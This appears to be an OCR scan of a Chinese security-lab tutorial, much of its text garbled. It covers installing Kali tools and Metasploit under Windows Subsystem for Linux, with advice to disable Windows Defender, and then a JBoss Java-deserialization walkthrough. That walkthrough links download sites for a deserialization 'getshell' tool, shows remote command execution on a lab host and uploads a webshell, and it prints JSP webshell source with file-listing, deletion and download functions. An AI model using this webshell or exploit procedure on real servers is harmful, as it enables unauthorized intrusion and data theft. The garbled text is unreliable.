XAELE Windows %23 Canonical 43 &) Ubuntu,

FRAE S AL S WL I e -

https://aka. ms/uowterms

BN “y” gksE: oy # WIAREAT ubuntu RGN T B
IEEM Windows NS T4 .. 100%

BRSO R G, X 75 22 L7 B I ).

S EK Ubuntu XIBEEKE N5 Windows l:ﬂiﬁﬁ(zh CN) VLHC?

10. FRINX Ik E N en US,
11, BN “y” gkst: y # AU A X ik

5.3.4 IERNHNFRGHIRE

R BB T2 A, TR T LA E B F Ubuntu 3155 R Ubuntu [ Bash 3% 7, HARfE
GEER/
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Heeslix B, RATMELIE T — M7 ) Ubuntu linux 2%t 17, 8T AEALLT, 5
THERXT linux FOFER, X B &4k A% 3R E X RN AR 78— fw A 2 FME A R A
FI) Fy 7] 5

5.4 kali BBIFEE

AR RPN, FTRAEHE 2 HRNZENRK LR, FHlZ4 MSF &, ik B3R
7% E0M R R 1M Ubuntu R40H) APT BEEHEIESON Kali VR, X REFRATTBE BT Fl 2 e % 2 4
TR MBI T, HARME S apt IR 7 kL SEAR F B, AR B vim nE %
Yme/etc/apt/sources. 1ist JE3C1,

BEDE: H M “bU” sERXE, BAREEN ubuntu M kali VR,
B REAEHERIN — €2 RITCVEERHMEH, BRERMER0ITE, KRR NE.

541 BH%k, FHTEXH

AT HARTT—, FoX B2 E SRR R, oA IREC B SN A, T 2
AT AR MR R A o
myles™ $

myles™$ cd /etc/apt/
myles™$ sudocpsources. listsources. list. bak

Sl N

myles™$

5.4.2 I EFIEA kali BIRIGIE

1. &% souces.list 5 #iE
X B A AR CEBL I kali 851508, SR, BRI . X BIRATE M
k& sources.list JESCAFH IR N A, B8 IS, RERARIT]

deb http://mirrors. neusoft. edu. cn/kali kali-rolling main

myles@ifly-21171: /etc/apt

7¥: Neusoft 1% uk: http://mirrors. neusoft. edu. cn/
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2. HEHESIRAE S

EBHsEIR Ubuntu REGHETREZ G, BIEHE T FEHFIE, ME#Hm4 apt update
FOHRY RS B T, EEEERCHTEAE AN, TIERIEFERESL: xxxxxx”,
IXFE A LA DT kali PR E RS T .

3. REEIEA AT

LR R IR A S B, RIUE R BT 3A T HT 0 RS2 ubuntu, 1T ubuttu RGEA G
RBA kali YT ARSI “ A7 I, TR AT OB L PRI A, B
fiif] apt update BEATHESIEH, RGHSIMBEWBA KRB AP, kM kali Y71
BERI RS A, B4 TR R T 8RR kali “ A8 #ial LU# PR 1, BRI 752 0,
T AR

5.4.3 IEEEH kali BEHIRES =

£ ubuntu R4t LACHE kali FOURES, B 1 ZECE EHELASN, BATE T E N HAHNA kali
MRS, K0T T (0 PR 20 381t B L kali (SRR T

TEEFEN A (i RARAFIE T AE 24T — X apt update, iz {7

1) H—P:
HE = MAE S .

myles@ifly-21171:"$ sudo apt—key adv —keyserver
keyserver. ubuntu. com ——recv ED444FF07DS8DOBF6

X T #E U — B iY ED444FF07D8DOBF6 He sz mt 2 4R A5 B 45 tH i I — B A
2) F b HHENERER

1. myles@ifly-21171:"$ sudo apt clean HiE P
2. myles@ifly-21171:"$ sudoatp update HEE TR A
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ecv |ED444FF07DSDOBF6

5.5.1 MSF EZ &%

RS X ERASCHHE =507, ZANTURFLKTT, #2RAIE 2% MSF HEZERT,
TR B A LI AT IR, mR LTS A B, A BAR R AT 4, R FEREE...

1) MSF &R

I MSF & 2%

# apt list metasploit* # #IH metasploit FHICLFRIIEM-%1]5

# apt install metasploit—-framework # %% MSF fEZEF-&

ii. MSF 2234 4
HRANREHCNME W, 27 S F ML 23 MSF HELE, F kali i, H#H T R EH
A, B, SR IMERERE, MR LEART .
2) 5.5.1.2 MSF ZEREEHER

E2Z%e T — KRG, W BT TSR, S2RRBUEMHEXCAERNER, EREES
RINRAEI %% MSF -G HEZERF, Windows 10 i Defender [ s 241 A3 Ja iy 1 2
G, B IR 20K Defender BRG] T, MSF ZEETRBW E I ZERIN T, K
FUBANTEAE T, A8 T 7K, ILLRFIER T, £%3 MSF i, #BCK

ZF B Hs Defender MR TFIIREICH], RARIRIERMIE, H I 6.3 EHHEIE,

58 T1/3L 105 TR HTMEG: http://www. antian365. com AR A #: 8 H 28 H HWTF2+E: %



AT (%R 365 ZEVRY 5 5 WRERS: antian365-20170828
Muk: www.secbang.com

E¥ root@ifly-21171: /mnt/c/Users/admin - O X

v BB
Windows Defender Pimss 2L, 3%

EFESE,

3) MSF ZERD)

root@ifly-21171:/mnt/c/Users/admin#t apt install metasploit-framework
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5.5.2 python R

X BN NEEH 3] —A> python 58 =75 ¢ scapy, FiX B ILIJidsk T scapy %245t #E o

1. pip IheEZk%

root@ifly-21171:/mnt/c/Users/admin# apt install pip

2. scapy IHBEEZR%E

root@ifly-21171:/mnt/c/Users/admin# pip install scapy

3. scapy RXE{EMH
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5.5.3 IFIThY linux TEZR%E

Linux T EEHRZHFHK/NTEREF, XEFEAFIERIUNTIR T EaS, HuxsH
EVLIAZE 2411 Windows 10 N XA T R840 E AT LLEEAT linux FHRATEILH A&

5.5.3.1 &84 : sl (FS5ILHE)

PRATRE TR “Is” 4, HEWMHEREEXHRINE. (B-, HLrRHEIRT 2
PEE R ‘s’ XS IRATTNAZ anAe] $RAG — L SRR A 2 B WL “ command not found” W ?

1. sl ?%n /v\
root@ifly—-21171: # apt install sl

2. YRR
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5.5.3.2 9% : cmatrix (BE5HE)

RATREE Z 4RI IR BEWE JFPERE T 4R T Neo MIRER BIAE M -FAE T H Y1
ﬁéjj’

e

F AR B —IE LT ‘Hacker’ Fr) 5 T #9423 HiTH]

(1) cmatrix &

root@ifly—-21171: # apt install cmatrix

- (2) aTRTHER

EH root@ifly-21171: /mnt/c/Users/admin - O X
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5.5.3.3 ®%%: linux_logo (Banner ¥iB{52)

linux_logo FEFAER—NEEN ANSI RGRE R, ©a&—%KkE /proc NRGER,
A % linux_logo M)z 25y & B AR S BB a0 «

1) linux_logo Zi#Em<S
root@ifly—-21171:"# apt install linuxlogo
2) WLETIER

BEX #EZroot@ifly-21171: /mnt/c/Users/admin

TEE OO
&

I T

It

It

It

.
TEFE O F T I
T I I

“ It

T+
‘ 1t
= 30

+ AF IF I I I
It
It
It

I
I3 A

3 A
I

I+

T

I
T

,
, BH
72
72
72
#H.
iH:

Bk s SE s s o s e s g s e |

It
ST FE O I I I

F S A

B e s s o s s s
I+

T T T I I
FE T FE T E O
T T T T

FE e A

I
It
T
-
T~
3|
I
T

Linux Version 4.4.0-43-Microsoft, Compiled #1-Microsoft Wed Dec 31 14:42:53 PST 2014
Four 2.7GHz Intel i5 Processors, 128TB RAM, 21608 Bogomips Total
ifly-21171

c/Users/admin®

3)  FEHSEREIIDER

linux_logo BRI\ A4 31 ANASIF RS (19 Banner WGl A, RATLAHEA L BEENE
bR &I,

1. root@ifly-21171:/mnt/c/Users/admin linux logo -L list

2

3. Available Built—-in Logos:

4. Num Type Ascii Name Description

5. 1 Classic Yes aix AIX Logo

6. 2 Classic Yes bsd FreeBSD Logo
7. 3 Banner Yes bsd banner FreeBSD Logo
8. 4 Classic Yes irixIrix Logo

&
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Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes

Yes

Yes
Yes

Yes

openbsdOpenBSD Logo
openbsd _bannerOpenBSD Logo

solaris The Default Banner Logos
banner—simp Simplified Banner Logo
banner The Default Banner Logo

classic—nodots The Classic Logo, No Periods

classic—simp Classic No Dots Or Letters
classic The Default Classic Logo
blankon An ASCII BlankOn logo

core Core Linux Logo

debian banner 2 Debian Banner 2

debian bannerDebian Banner (white)

debian oldDebian 0ld Penguin Logos
debianDebian Swirl Logos

gnu_linux Classic GNU/Linux
mandrake banner Mandrake (TM) Linux Banner
mandrake Mandrakelinux (TM) Banner
mandrivaMandriva (TM) Linux Banner

pld PLD Linux banner

raspi An ASCII Raspberry Pi logo
redhatRedHat Banner (white)
slackwareSlackware Logo

sme SME Server Banner Logo

sourcemage_ban Source Mage GNU/Linux

sourcemage Source Mage GNU/Linux large
suse SUSE Logo
ubuntu Ubuntu Logo

Do “linux_logo -L num” where num is from above to get the appropriate logo

9. 5 Classic
10. 6 Banner
11. 7 Banner
12. 8 Banner
13. 9 Banner
14. 10 Classic
15. 11 Classic
16. 12 Classic
17. 13 Banner
18. 14 Classic
19. 15 Banner
20. 16 Banner
21. 17 Classic
22. 18 Classic
23. 19 Classic
24. 20 Banner
25. 21 Banner
26. 22 Banner
27. 23 Banner
28. 24 Classic
29. 25 Banner
30. 26 Banner
31. 27 Banner
32. 28 Banner
banner

33. 29 Banner
34. 30 Banner
35. 31 Banner
36.

37.

38.

Remember to also use —a to get ascii version.

4) BEHIEE Banner YRR

RPN, FATAT LABENL B E BAVER IS B RS a5 2, BB ELP RN T,

1. F—: i vim Zai5 2583 JF/etc/bash. bashre X4
2. . HEE X bash. bashre 45 AN _E N 1H FIEA)
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5.6 H1# Bash on Windows

BIGHATWBRAERIXNRG T, 80 BT HAA 2 7R BAVAEE R IX N T R, Hsx
Window 10 ] cmd @y &AT R AR RIS KA FRATHEAE T B H %k “Bash on Windows T &
4”7 B LE4 Ixrun, BAREEWT,

5.6.1 #@wS

C:\Users\admin>lxrun -h
XPLX T RGEHATE BLHERAE
FH%:
/install - Z¥TRY
CIprit 2§
/y = APERH P EZ R T RG
/uninstall — HIE T RE
Pt 2§
/full — AT 58 A3
10. [y = AEERH P
11. /setdefaul tuser - BCEMH T30 bash BT RGP WHRAZH P AL,
M 2= G %A .
12. RS
13. username — $EftH 4
14. [y = R TH A, AR B 2 %Y
15. /update — BT RGN ERGI

e A e

5.6.2 SCRRERME

C:\Windows\system32\cmd.exe

1. C:\Users\admin>lxrun /uninstall /full
2. IX¥AE Windows HEIE Ubuntus
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3. XBMIESE Ubuntu PR DL RATIMAE S 5 FE A0 P i
4. FEN “y7 4k oy
5. 1EFEEIEK. ..

XAEFRA T AT DA T RGO — T MR AR AR AR DT (. B A4 R REK
LR IR

5.7 %% A R VS

5.7.1 Bash TR4E#HIRE

Windows 10 ubuntu T R4 FETHT, 7 M8 IE 2 150 10 TR DR 32 22 DR A ok 1 Al 55 2 |
N DNS it A @l B At DNS k45N 4.2.2.1 803 4.2.2.2 BIAJfif ok jn] @

5.7.2 BX kali i&fF, apt update EFTHE;

H e kali /etc/apt/souces.list ¥ J5,7E1T apt update S FIEVIRE BN, KA “AH” 1
iR, TCIEIERE R, MU ER T “RORE R b A W], BiheadsE
mr.

1. sudo apt-key adv ——keyserver keyserver.ubuntu.com ——recv
ED444FF07D8DOBE6

5.7.3 &% metasploit-framework B, E2RE;

% %% metasploit-framework I & i £, S5 #E 20 # ds K B AT RER 2 “ Windows Defender”
AR BEThAERE, B R0 SO T8 7 SEM .. MEHRARREE, I IES 28, B
MW7, EF NHWE 7EE, KRETSEMLH.
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& Windows Defender &=25() — O X
N +m D THEHELIES
BT, ERERIEIRE,
O SR
D BEMEIETRR 3 16542
STEREE RIS
@) BEKISHIREER
A
B mEmssss
EEENEMEE
AP SREEMEIR ETEFIRELE
SR
%s “SAEMIEMLIIRE
{RIETEEA Microsoft BiVANEE,
o e
BPEVCERS,
e
& Windows Defender =28 — O X
@ xR SRR
B IHE | T ARG E P RERET, (RO LIESHIER
O wSHEmbR *PHSE , REETFRE,
© MRS 9‘3&&#4§‘6FE'5E|73 , (REISE SRS,
O PSR @ x
B REissss
BETF=REP
H REAR SOAFIEl = RROREF Windows Defender DRSS EIPEIE | 12
LERE T AR TR, SRS A Tha TrEies
1 3
Okﬁﬂgﬁ‘&PE%l‘:ﬂ. (RAOISETRES SIS,
@ =
ReFARSER
C EFHEATHEA
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5.8 1 F %52

EHEAAIXA Windows 10 BT &G )5, BuwHCEE2% LE T, A 74 Ubuntu
T &5, LnBATEMEH linux 158 MSF &1, FHEAHZTFEMIL T, B4 bash
A AT AR —A ubuntu [ linux 3587, BEJE %34 MSF ~F- &, ahinr LLEAH MSF
FET, AHIERERARAMB—FREZ, HT7ZNFRAERA 0T LR A E
linux FREE AR SIS T, (AR S SR RE ), ARERMERFRNE, XML
R — Y0 T, 2 XA subsystem 1 5 4t AN SR 2% 42 (No internet connectivity
in Bash), X 21X REN NN ARG KK bug.

FrAR R S R KRR, IR —FER S linux REEHI/MAEERT LB —BLX A T RS,
A — BB R i — SRR 2B B K RIS IR T AR, B LR R AT, A
R IR R AT, R AeALSE github AL X IR g TaX A4 AF_Famliy A 3¢
FRI¢ ) I (AF_PACKET family is not supported yet.).

FISE .

https://msdn.microsoft.com/en-us/commandline/wsl/about

https://www.howtogeek.com/249966/how-to-install-and-use-the-linux-bash-shell-on-

windows-10/

https://github.com/Microsoft/BashOnWindows

https://mochazz.github.io/2017/07/27/linux_subsystem/
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6.JBoss /FFIMHIRIAAEREZSTI

myles007

ERERAINEE e SE2 N iy

6.1 B 8] [5]

2015.11.06 [ 4t FoxGlove %Mt FtlAIBAAE 2 B E IRATE 1 R T4 S S I TR 2 AT
S (R SRR AR T ) poc.

6.2 2R K] web 25 3%
® JBoss

® weblogic

® websphere

® jenkins M

LLE web ZAF A EHAEM T “ RFIMLEOR” 1) web 7%, BT LAt st 2 vt R ZAEH] “ &
FeAIAEECR ™ () web IS AT BEAF AL IX AR -

6.3 I3 KW RE

6.3.1 jboss BLEARY

— MG OLT jooss i A AR H T ERABC B A5 B0, B B4 A N A AR 36
OB B A N AR IS AIE XN R S A b st M AN 17 v !

Jboss A RS FIH 2 HTTP 0, v DAAEAR (T3 1 I8 4T, BRI 22 7E 8080 i [, ifii
H Jboss 5 “JIMXInvokerServiet” [ Eid AL — N AR (A] DUE 2 EAL 8%
& war i, XE T “8080/jmx-console/” 5 “flavor=URL,type=DeploymentScanner” ) .
JMX J&—A~ java FIEH ML, 7E Jboss F11) JMXInvokerServiet 1] LLf# ] HTTP il 53
HHATE LG, X @GR T java T FIE.

AT LB DL =AM E FRATE 2/ jboss W 2 S AFAEIRFF X
5 e
(1) JBossJMXInvokerServlet #1 (ERIA 8080 %[ 1) LA JBoss Web Console
(/web—console/) F&ETREEILXTAb,
(2) VL ERFGREEA LR RNER, FHFIMCEAR (CEHmek

baseb64encode)
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(3) Zh R sefemtin ot Hacg o “ Ui PATHRIF SN E” /Y,
AR AT AT B o

6.3.2 Apache common-collection EE

apche common—collection R MATRAT “java RIFFILIRIE" F= AR 2
JRRFRAE . Java =7 FIMCIRTRF] A K13 2 K13 sct 2 R Apache
Commons—Collections X4 HIH Java FE R SEIAE AL HAT o

1E Apache commons L. EAFHIRZEL jar U (GXLE jar A, 7] PLFRAE N5 python
BREFZE) , BAR jar GEEEERNES, WFEFR.

Packages

org.apache.commons.collections
org.apache.commons.collections.bag
org.apache.commons.collections.bidimap
org.apache.commons.collections.buffer
org.apache.commons.collections.collection
org.apache.commons.collections.comparators
org.apache.commons.collections.functors
org.apache.commons.collections.iterators
org.apache.commons.collections.keyvalue
org.apache.commons.collections.list
org.apache.commons.collections.map
org.apache.commons.collections.set

6.3.3 java I'4A

java AN DAL AE, HE ISR 05 5 Ry SR,
JML JMX #2205 5 S P SIE IR, FirbA java AHIRIR 22 BT #R AT fg
5 BIXA R HIRE I o

6.4. PP i

(1) jboss MR%FHEFWH A CEHFBIR, HARMK S BAEFKHIE, SCIALFR )
/M

o (2) PiokHETEMS W E, PRE R LLESES] JBoss BT IP;

o (3 WMHEZEAMMRS, HFHELE jmx—invoker—service. xml HH I B RIS E;

o (4 f£ Jboss VRIS HFT EH () E 7 patch ¥ T ;

o (5) HH jboss BIHMTAA, HIRith2RIFERINE |
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6.5 A

AR REM U LB R, BEEfE R java )T 515 I i) dile ? HSEH AR IX
e, mimuiid 7, REMEHT “java RIFFIML” BRI AT REAAEX AN, BT
= java N AR 23] “ RTS8 1

o RMI imFRARHES AT ;

o JMX java EEY S

o JMS java JH B MRS

B, XEEEH T SBR[ B L SEA T BEAEAE  java JOFHIMLINTR” HIFE

6.6 JBoss FfIZiEz

6.6.1 JDK REATE

JDK 1.8 A TFHREE:

http://js. 9553. com/soft/jdk-8u66-windows—1586-20151102. rar

6.6.1.2 JDK &%
JDK 1.8 Zd&id#8, FATVENZEERI A, LT E
6.6.1.3 JRE HRITERE

B “HPSHEEE” b path 5L E, AP EEHE — JRE F bin HRXHAH
SFALBERIA (C:\Program Files\Java\jrel.8.0 66)
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21|
a0 |itans | B B8 | osEw|me |

Fi % 21 x|

—Administrator BRI PER )

TEE V) In C:\Program Files\Jawa'jrel.5. 0_B6

W= miE |

wew | @E0 | BB |

mE | mm | |

e AR JDK B AR R E, /50 JBoss FFMN AAst, XELHRE, NEREL
JRE (3548 i ELA R

6.6.2 JBoss MFEEIBESE

6.6.2.1 JBoss RETEH;

JBoss MRS # LM, TP REATEN T, FHERS ZEER N HMIEFEEE.
JBoss AS AR 5578 &350 N #EE R

http://jbossas. jboss. org/downloads/
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6.6.2.2 JBoss &%

JBoss [zt E R T, W2 R IR B NI H 3%, SRERIN R R AT, A2 %F
A HEERRINE

6.6.2.3 JBoss HIETERE

6.6.2.3.1 B3 run.bat e

VLIS JBoss HRS5as 23t e 1, N HSLIRATE — ARk 2 ZR 5 JBoss fkds, (HZ
R RIREE T, BRI E R T,

® A run. bat

Hitk @) |Q C:\jboss—4.2.1.GA\bin

B~ [ Fo | 6B R | Bt |
@ classpath. sh 4 KB SH 3% 2007-7-13 16:06
jboss_ini t_hpux. sh 9 KB SH 3% 2007-7-13 16:06
[ jboss_init_redhat. sh 3 KB SH Xt 2007-7-13 16:06
o fioti ey o _JBoss s ! ! 2007-1-13 16:08
[F]probe. bat 1 KB Windows AP 2007-7-13 16:06
gl prohe sh 1 KB SH ¥ 2007-7-13 16:086
4 KB Windows HLZMEEICMF 2007-7-13 16:06
Ve 2 KB CONF 34 2007-7-13 16:06
A|run. jar 43 KB Executable Jar ... 2007-T-13 16:08
[ run. sh T KB SH It 2007-7-13 16:06
[F]shutdown. bat 2 KB ‘Windows IHAMIEILMH 2007-7-13 16:06
Mshutdown.jar 22 KB Executable Jar ... 2007-T-13 16:08
[ shutdown. sh 2 KB SH ICtH 2007-7-13 16:06

—

AR SO B E

6.6.2.3.2 RMAETE

WHEADN JDK (2245005 JBOSS [SEPR A a4 th i =D & /A e A A, BEAT
WBAR R AN, EH SRR AR R E BT .

e AR NUE, R R IR T R RS s S R AT AR DG E R ET . )
(1) JAVA_HOME A5 &

1. A5E 4. JAVA HOME:
2. AFEH: C:\Program Files\Java\jdkl.8.0 66
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(2) JBOSS_HOME 7%

1. A& 4. JBOSS HOME
2. AEAH: C:\jboss—4.2.1.GA

(3) CLASSPATH 75 &

AF 4. CLASSPATH
AZEH: C:\jboss—4.2.1.GA\bin\run. jar

'EXTea 2| x|

—Administrator BIFAPEE ()

T8 | 18 |

path C:\Program Files\Jawa'jdkl.8.0_...

TENF ¥USERPROFILE®\Local SettingsiTemp

THF XUSERPROFILE®'Local Settings‘\Temp

1) | ®EE | #Ro |

fil 24 |- i A l,dm OANPARGARES-Y 1
A TN VHE G i Ju e RS [V M * ;
—iéj’iﬁﬁf}i) 2

332 ) | ®EO |

WL |
W mE |

6.7 JBOSS JR55ViiH]

6.7.1 JBoss RSB EhiH

G ERINEHE, BATHRZRITIT JBoss I35 a3 IA, J53) JBoss fk55, &2

N EEREE R, IR IS A B .
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¢\ C:\TINDO¥S\system32\icmd. exe

16:55:16,.219 INFO [testDurableTopicl] Bound to JNDI name: topic/testDurableTopicl’

16:55:16,219 INFO [testQueuel Bound to JNDI name: gueue/testQueue

16:55:16.258 INFO [UILServerILServicel JBossMQ UIL service available at : /127.
0.0.1:8093

16:55:16,.281 INFO [DLQ]1 Bound to JNDI name: gqueue/DLQ

16:55:16.344 INFO [ConnectionFactoryBindingServicel Bound ConnectionManager ’ jhb
oss.jca:service=ConnectionFactoryBinding.name=Jms¥A’ to JNDI name ’java:JmsXA’
16:55:16,359 INFO [TomcatDeployer] deploy, ctxPath=/jmx—console, warUrl=.../dep
loy/jmx—console .war/

16:55:16,.469 INFO [HttpliProtocoll Starting Coyote HTTP/1.1 on http-127.0.0.1-8
080

16:55:16,484 INFO [AjpProtocol]l Starting Coyote AJP/1.3 on ajp—-127.0.6.1-808089
16:55:16,.500 INFO [Server]l JBoss (MX MicroKernel) [4.2.1.GA <(build: SUNTag=JBos
s_4 2 1_GA date=200787131606531 Started in 7s:344ms

HDO¥S\system32\icad. exe

CiNDocuments and SettingsNMdninistratordnetstat —ann ton ifindsty» 8080
TCP 127.6.0.1:8680 8.0.0.0:0 LISTENING

C:\Documents and SettingshfAdministrator

6.7.2 JBoss ZIEifolIREE

N

\

iz

HIEX jboss AR BT AR B, jboss ARG ERIN R 252 AR H (127.0. 0. 1:8080) [ 15 1],

FEEMNLUI ) jboss 8080 ARSS &k “HHEAavsn ” !
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"\ « a9 v| © hittp:/focalhost:8080/ | 5 4 -

W FHESH O el
O < welcome to JBoss™ 3 7E: A<t 127.0.0.1:8080 iJj[ijboss /i 4% 1E 7 ...

JBoss Online Resources

« JBoss Documentation
« JBoss Wiki

* JBoss JIRA

* JBoss Forums

JBoss Management
« Tomcat status (full) (XML}

+ JMX Console
« JBoss Web Console

JBoss™ Application Server

® 192.168.86.81:3080

I FE LG ) jboss MHIRSS, ELIZEAR JEIL ) ] kA
il .\|~J. 4B f“:‘iw n]jboss /i 7.7...

B

ymryYal ]l ld T

192.168.86.81 AIIRAYAEIT 1<,

&1 Google #3192 168 8080"

ERR_CONNECTION_TIMED_OUT

6.7.3 Jboss iV OIELE

LM AW, K jboss M 4.0 RASE, FHBRARCE ZIE40EfE XS jboss N AR
S EBVINE, WRFZBEYN, SN E, BARIEILLL TN .

6.7.3.1 &Fx—: HEXBEHLE

fE jboss—4.2.2.GA/bin H3EF, i start. bat #ALHHA, BAWMFHNE:
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1. run.bat -b 0.0.0.0
RE7%E, BEFERRTEIERIX start. bat  HEALFEBIAR B SRS 2 B AT, BB B T3E4T
ZEREVT 5k OK T,

6.7.3.2 5x=: 1&XiEc E G

T BEEBM server. xml FLE SO, H—EEEW
T $JBOSS_HOME\server\default\deploy\jboss—web. deployer\server. xml

HAEFHEGENNEREBN address S HE, £500.0.0.0 BIAT, BARECE ST
EAZ W PR,

(1) eeisinmEn %

{Connector port="8080" address="§{jboss.bind. address}”
maxThreads="250" maxHttpHeaderSize="8192"
emptySessionPath="true” protocol="HTTP/1.1”
enableLookups="false” redirectPort="8443" acceptCount="100"

1o W =

connectionTimeout="20000" disableUploadTimeout="true” />

port: 7z~ JBoss NARIVI M uGE, ERIASZ 8080, EEHCHN 80, i 1a] M T B 5 v] LAAS I
5 75, t0: http://localhost.

address: TRVFAMNMEEVT MIFR JBoss M ) TP Huhil, <88 5 5 2 21X B 1) address H{E
B~ 0.0.0.0 , BEIRRIEWT AT A W, IXFEAX 2 5l n] LB I A H 142 1 1P Sk ]
AH) JBoss R%S .

(2) BURBCE A &

{Connector port="80" address="0.0.0.0"

maxThreads="250" maxHttpHeaderSize="8192"
emptySessionPath="true” protocol="HTTP/1.1”
enableLookups="false” redirectPort="8443" acceptCount="100"

1o W =

connectionTimeout="20000" disableUploadTimeout="true” />
HERR:

IR JEIE BRI T RS, B B A & EH R JBoss ARsy, RATXFERCE AN EA
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6.8 S I Uk

BEI AT AT DATE 6 24T N M T AR 5525 JBoss 8080 Ak 55 o I e Wy 1 0L, J8 k40 T (1)
BETATT ISR E R, M A RS RS B2 BAE 0.0.0.0 b, HSTHEREMER
WAEAE AR S 2% PR FrA 8210 TCP 8080 i I HI M T, A4 FRATH SR 1T LT A 40 W 8 i
X} JBoss MR HEAT UM 1o

BT R K FER, EREEHNEE SR, FATAHIE A 5 8080 i L MW )E, H
HJEAE 127.0.0. 1 [HFRgEO E GER 6.3. 1 =FHERED .

cy C:\TINDO¥S\system32\cmd. exe

C:\DocuméW®s and Settings\Administrator>netstat —anp tcp ifindstr 8680
TCP 9.9.0.0:8080 8.0.8.0:0 LISTENING

C:\Documents and Settings\Administrator>”A

. Welcome to JBoss™ X

C| ® 192.168.31.8:8080

JBoss Online Resourfes

. Bo th 1l . e N R
« JBoss Wiki T -

« JBoss JIRA

« JBoss Forum

JBoss Managem
« Tomcat status (full) (XML)

« JMX Console
« JBoss Web Console

JBoss™ Application Server

6.9+ JBoss FHALIETHE I

JBoss JMIAMBEIRATCLIERE OK 1, # T stk AEEAJRIF A 1 2 DL R
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6.9.1 JRRF| A4

HXK JBoss RJFHIMLIRIRFIH A, XHEFRAMEHFIH “3. 1 FHT” KT JBoss HEAH
FIR A 77k, B — NERATIESRE ) jboss N AR5 E .

Frs ||BRNE (TREECES

JBossJMXInvokerServlet 22 1 (EkA 8080 ¥ 1)L & JBoss

! Web Console (/web—console/) =THZE LS4,

) DL b RS B A EAL T RN ERS, P A (= SN
B #7 B% base64encode) e

3 N IX AR AR B I BB o B m A RATINT R

I I, R fr 2 AT R A&

UFTEE EIAAEH R jboss—4. 2. 2. GA fA, FrRABRAESL T, BLE=TUHGENER
IRFREATTE M, T RIATES ETRAF AR A .

6.9.2 TET#H

X HEFE RN ERAT TREAMEH, BAT RN FEMmIES .
Java FHMLER T E: http://pan. baidu. com/s/1jGSEFFS #fd: si6t
JBoss 74k getshell T.B.: http://pan. baidu. com/s/1hgD26fq

P RN BRI ) e T AT AT O i PR T AT
6.9.3 TRFHA

6.9.3.1 Java RIFFILERTH

KHEBR MM IXA java PSSR T AR EAMAEST]— A1, 85 (ST B R IE
HLAR Iz FE 2 A ALRR

6.9.3.1.1 TEEKIHEE
o (1) fEBE3ZKE
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W AF BRI RE, FATAT A EHRIE R G 2w AR DR A ET 7 H R B A R
A

= JavaRFFUESRAGEL TR -- powered by STG-65F - O X

BirBEsE: | JBoss - Eb}l : | http://192.168.210.151:8080

BirEE | #iT%%  webshell & | 4EE

= o

SERk

Java Version: 1.8.0_66
I Operate System: Windows 2003 1. e “ ‘735: »'Tr_

OS Version: 5.2

OS Architecture: x86
I Current Login User: Administrator 2. HuaiH P

User Home Directory: C:\Documents an ttings\AdminEstr‘altc?r | S . L,
| e —— oo ? x . l % NiE ., Il LU $webshell 4% [HIAS T

YA

Default Temporary Directory: zC\DOCUME~T\ADMINI~1\LOCA

o (2) AT

i T REARE R, W] L E AT AR S AR dy & I PAT AT, ELIR IO R LML A2 il BLFR o

= JavaRFFHESRAGKTE -- powered by STG-65F — O X

EfRBEE: | JBoss ~ | Bt=: | httpy//192.168.210.151:3080

BiREE | 1i7%< | webshell HE | S04SR

=< | [ || w5 || mmem

I admin-5b386d12d\administrator J

o (3 HHF
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= JavaRFFHESRNGKTE -- powered by STG-65F - O X
BR85S | JBoss ~ | BfR: | http://192.168.210.151:8080 1. 055G, A H 250 a0 p B
 Bi5EE | wFes | webshell bt | e A \

SEiREE | C\jboss-4.2.1.GA\server\default\deploy\jboss-web.deployer\ROOT.war B=

~

E http-invoker.sar
E jboss-aop-jdk50.deployer
E jboss-bean.deployer

v ru jboss-web.deployer
|y conf J
{5 jst-libs 2. BJGEAMEIRPALE ., ZD Al A H o, R X 1 jboss
T meraane  (Iweb i R H AL

v B ROOT.war

{4 manager

T wee-IN 7l ‘Jfl'kl"lfjjboss web fi H 54 &

$_jboss/server/default/deploy/jboss-web.deployer/ROOT.war

favicon.ico
index.html
jboss.css

logo.gif

o (4) webshell FA%

X B EZMH T HEBWA webshell #T7 BAL, EAENIIE, FATIHAT webshell HIU5 1,
RILE=HR 500 FOMRAT R AR, a2 1 T 2 B 1 webshell W8 [n) &%, J& T 4# A Cknife
E ) 1. jsp RIS, J&0T PUIES f@HT Y .

= JavaRFFHEEIRAGK TR -- powered by STG-6FF - m} X

EtREBSE: | JBoss v | Bt : | http://192.168.210.151:8080

| EiREE ISS | webshel Lfs | pHEE
M EEREE . C\boss-4.2.1.GA\server\default\deploy\jboss-web.deployer\ROOT.war\3.jsp ‘ =

<%@page import="java.io.* java.util.* java.net.” java.sql.* java.text.*" %> z
<%! il 5 . T Nz T . : :
String Pwd="webshell’; XS LB A webshellJid 15, 4% JEOKIT,

String EC(String s,String c)throws Exception{return s;} L= 11 A B e b L Al A 1

Conngection GC%String ?)throws Excepti':)n(String[] x=s.trim8.sl'p;ﬁi(l\}\[rlnu);éfais}lfcljrrl-\ltjrln/el&[gi.Jii%&.”e{v]nst’anée();
Connection c=DriverManager.getConnection(x[1].trim());if(x.length>2){c.setCatalog(x[2].trim());}return c;}

void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int
i=0;i<r.length;i++){sb.append(r[i].toString().substring(0,2));}}

void BB(String s,StringBuffer sb)throws Exception{File oF=new File(s),I[]=oF listFiles();String sT, sQ,sF=""jjava.util.Date dt;
SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss®);for(int i=0;i<l.length;i+ +){dt=new
Jjava.util.Date(l[i].lastModified());

sT=fm.format(dt);sQ=I[i].canRead()?"R":"";sQ+=I[i].canWrite()?"

W if(I[il.isDirectory()){sb.append(l[il.getName() + " /\t"+sT+"\t" +I[il.length() + "\t +sQ+"\n");}
else{sF+=I[i].getName()+"\t"+sT+"\t"+I[i].length(+"\t"+sQ+"\n";}}sb.append(sF);}

void EE(String s)throws Exception{File f=new File(s);if(f.isDirectory()){File x[]=flistFiles();

for(int k=0;k<x.length:k++){if(!x[k].delete(){EE(x[k].getPath());}}}f.delete();}

void FF(String s,HttpServletResponse r)throws Exception{int n;byte[] b=new byte[512];r.reset();

ServletOutputStream os=r.getOutputStream();BufferedinputStream is=new BufferedinputStream(new FilelnputStream(s));
os.write(("->"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write((*|"+" <-").getBytes(),0,3);0s.close();is.clos
e():}

